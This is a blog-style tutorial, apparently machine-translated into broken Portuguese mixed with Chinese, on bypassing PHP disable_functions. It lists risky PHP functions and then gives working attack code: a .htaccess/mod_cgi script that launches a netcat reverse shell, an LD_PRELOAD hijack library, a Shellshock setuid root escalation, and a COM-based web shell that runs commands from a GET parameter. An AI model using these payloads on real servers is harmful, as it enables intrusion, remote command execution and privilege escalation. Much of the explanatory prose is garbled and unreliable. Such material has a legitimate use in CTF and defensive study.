Métodos de bypass disable_function e formigas espada uso bypass-php-função plugue

Métodos de bypass disable_function e formigas espada uso bypass-php-função plugue

Em aprender php, descobrimos que a função muitos sites irá causar grande perigo oculto ou sistema, funções de risco comuns são:

phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

php arquivo de configuração ini existe uma opção disable_functions, pode desativar a função destes perigos

Mas nada é absolutamente seguro, aqui falamos sobre várias maneiras de contornar as disable_functions:

1, Apache mod_cgi

Aqui precisamos usar .htaccess e mod_cgi

1) .htaccess

No upload do arquivo, já estamos familiarizados. Para mais detalhes, Baidu (eu sei que é apenas uma idéia do papel do full-line é a resposta Baidu Enciclopédia ...)

Em circunstâncias normais, você não deve usar arquivos .htaccess a menos que você não tem acesso ao arquivo de configuração principal; arquivos .htaccess devem ser usados ​​nos provedores de conteúdo precisam mudar a configuração do servidor sob privilégios de root, mas nenhum caso de um diretório específico. Se você não deseja modificar frequentemente o administrador do servidor de configuração, você pode permitir que os usuários façam alterações para o .htaccess arquivo de configuração, especialmente os usuários do ISP para executar vários sites na mesma máquina, mas o usuário pode querer mudar a sua configuração caso.

2) mod_cgi

No MPM non-threaded ( preforksuporte para a execução do script CGI on)

Ter qualquer tipo MIME application/x-httpd-cgiou o cgi-scriptprocessador de arquivo será tratado como um script CGI pelo servidor está em execução, sua saída será devolvido ao cliente. Ele permite que duas maneiras para se tornar um arquivos de script CGI, um é o arquivo que tem sido AddTypea extensão da definição de instrução, eo outro está localizado no arquivo de ScriptAliasdiretório

Manual do Apache Referência:https://www.php.cn/manual/view/17782.html#env

Se o arquivo .htaccess é modificado atacante, o atacante pode tirar proveito de mod_cgi apache módulo, diretamente ignorando quaisquer restrições de PHP para executar comandos do sistema

Precisamos cumprir várias condições:

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

exemplo:

.htaccess内容:
Options +ExecCGI
AddHandler cgi-script .zwi			#这里的.zwi是我构造的,表示.zwi后缀的文件都会被当作cgi脚本执行

shell.zwi
#!/bin/sh
echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E]

Nota:

Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章:http://www.365mini.com/page/apache-options-directive.htm
当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

teste local:

<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
    @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); 
    header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
    $modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
    $writable = is_writable('.'); //检测当前目录是否可写
    $htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
        checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
        checkEnabled("Iswritable",$writable,"Yes","No");
        checkEnabled("htaccessworking",$htaccess,"Yes","No");
    if(!($modcgi && $writable&& $htaccess))
    {
        echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
    }
    else
    {
       
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //备份一下原有.htaccess
        
checkEnabled("Write 
.htaccessfile",file_put_contents('.htaccess',"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
        checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
        checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
        echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
    }
}
?>

ctf 例题: ctfhub - bypass_disable_function

2, LD_PRELOAD

LD_PRELOAD é uma variável de ambiente no linux

Ele permite que você para definir a prioridade antes de o programa é executado carregado biblioteca de vínculo dinâmico. Esta função é usada principalmente para a mesma função carregar selectivamente diferente biblioteca de ligação dinâmica. Através desta variável de ambiente, nós podemos carregar outra biblioteca de vínculo dinâmico no meio do programa principal e sua biblioteca de vínculo dinâmico, ou mesmo substituir a biblioteca função normal. Por um lado, podemos usar esse recurso para usar o seu próprio ou melhor função (sem ter o código-fonte de outra pessoa), e, por outro lado, também pode programar o procedimento de injeção para os outros, de modo a atingir um objetivo específico.

Isso mostra que podemos quase sequestrados a maioria das funções de PHP

Devemos usar o putenv (), ou seja, as variáveis ​​de ambiente do sistema conjunto, por exemplo:putenv("NLS_LANG=american_taiwan.zht16big5");

Você também pode ser prorrogado uma getenv (), obter as variáveis ​​de ambiente do sistema, por exemplo:$ip = getenv(“REMOTE_ADDR”);

comando readelf, geralmente usado para exibir as informações de formato de arquivo ELF, de arquivo comum como arquivos executáveis no Linux, biblioteca dinâmica ( .so) ou biblioteca estática ( .a) e outro arquivo contém o formato ELF

teste:

1, o primeiro a escrever um arquivo zwish.c dynamic-link

#include<stdlib.h>
#include <stdio.h>        
#include<string.h> 
 
void payload(){
	system("touch /var/www/html/zwish.txt");
}   
 
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

Quando o geteuid biblioteca compartilhada é chamado, tente carregar a função de carga útil (), execute o comando, crie um em / html diretório zwish.txt em / var / www

Compilargcc -c -fPIC zwish.c -o zwish

gcc -shared zwish -o zwish.so

A descentralização zwish.so / var / www / html

Em seguida, escreva um index.php

<?php
putenv("LD_PRELOAD=/var/www/html/zwish.so");
mail("admin@localhost","","","","");
?>

Visite o php, encontrar o diretório apareceu zwish.txt

3, shellshock

Shellshock, também conhecido como Bashdoor, é uma vulnerabilidade de segurança Bash shell amplamente utilizado em Unix é, pela primeira vez em 24 de setembro de 2014 em aberto. Muitos daemons Internet, como servidores web, usando bash para processar certos comandos, permitindo ao invasor executar código arbitrário na versão vulnerável do Bash. Isto pode ser explorado para acessar o sistema de computador sem autorização. - Trecho de Wikipedia

1) ambiente para construir

Instalar a versão 4.1 do bash com privilégios de root (pelo menos a versão 4.2 dos buracos foram ligado)
bash4.1 endereço de download original for HTTP: //ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ,
a fim velocidade, aqui usamos a seguinte Baixar http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
#测试是否有bash漏洞,输出vulnerable的话,说明bash有漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
$ sudo ln -sf /bin/bash /bin/sh			#最后,让/bin/sh 指向/bin/bash.

Dê uma olhada em Mami ShellShock vulnerabilidades (princípio):

export foo='() { :; }; echo Hello World'
bash
>Hello World

Por invocação de festa com a saída Hello Worlddele? Olhe para a situação que ele está dentro:

KEY = foo
VALUE = () { :; }; echo Hello World

o bash lê a variável de ambiente, depois de definir uma função foo diretamente chamar de volta. Uma vez que o bash chamada, declarações personalizados acionar diretamente.

Criar um shock.c

#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

Compilação, capacitação

$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

Definir programa que é set-uid

Teste, modo de administrador primeira saída

exit
export foo='() { :; }; bash'
./shock

execução final vai achar que temos um privilégios de root diretos

4, PHP_FPM

Específica Descrição: https://www.php.net/install.fpm

Há um bom artigo: https://juejin.im/post/58db7d742f301e007e9a00a7

Invocada para explicar alguns outros:

(1) Por que há um php-fpm

Todos fpm aparecem porque php-fastcgi aparecer. Um programa de gestão boa, a fim de alcançar o php-fastcgi

(2) Qual é o php-fastcgi

php-fastcgi apenas um programa cgi, php irá analisar o pedido e retorna o resultado, não consegue (e, portanto, não surgiu até php-fpm).

(3) PHP_FPM

É para iniciar um programa para gerir um processo mestre e vários processos de trabalho.

PHP-FPM cria um controle de processo mestre quando e como solicitações HTTP para um ou mais movimentação processo filho. processo principal também controles PHP-FPM que
ele criou quando (aplicações processo de Web mais tráfego) e destruição (processo de criança corre muito tempo ou não precisava mais)
processos filhos PHP. Cada processo na presença de piscina processo PHP-FPM do que o comprimento de tempo de um único pedido HTTP, pode ser o
processamento de um pedido HTTP 10,50,100,500 ou mais.

Após PHP 5.3.3 php-fpm sido incorporados no código do núcleo do PHP. Portanto, sem download e php-fpm instalação separada.
Para suporte php php-fpm, só que você precisa trazer --enable-fpm código fonte do PHP em tempo de compilação nele.

princípio de desvio específico também tem um artigo muito bom: https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true

5, UAF

Re-libertação referências brecha, por exemplo GC UAF, vulnerabilidade Json Serializador UAF, Backtrace UAF, etc.

6, FFI

FFI (Foreign Function Interface), isto é, a interface de função externa que permite que o código C a chamada a partir da área do utilizador. Quando toda a função a execução do comando PHP está desativado por PHP 7.4 de novas funcionalidades pode ser alcançado FFI código de chamada C com código PHP que maneira, declare C, a fim de executar uma função, e em seguida, chamar a função C para Bypass pelo FFI variável disable_functions

7, os componentes COM

Condições: Windows, php5.x, componentes de suporte COM

justificativa:

É o primeiro COM intenção do projeto componente é alcançar componentes do programa cross-language de reutilização de componentes COM para Win 32 emitidos pela biblioteca de vínculo dinâmico (DLL) ou executável (EXE) de código executável composta. Siga a especificação COM escrito pela assembleia seria capaz de cumprir todos os requisitos da arquitetura de componentes. COM componentes pode ser fornecida para o programa de aplicação, os serviços do sistema operativo, e outros componentes, componentes personalizados COM podem ser ligados entre si para formar uma aplicação em tempo de execução com os outros componentes; componentes COM podem ser dinamicamente inserido ou descarregada aplicações.

exp:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>

Acho que você gosta

Origin www.cnblogs.com/zw1sh/p/12632126.html
Recomendado
Clasificación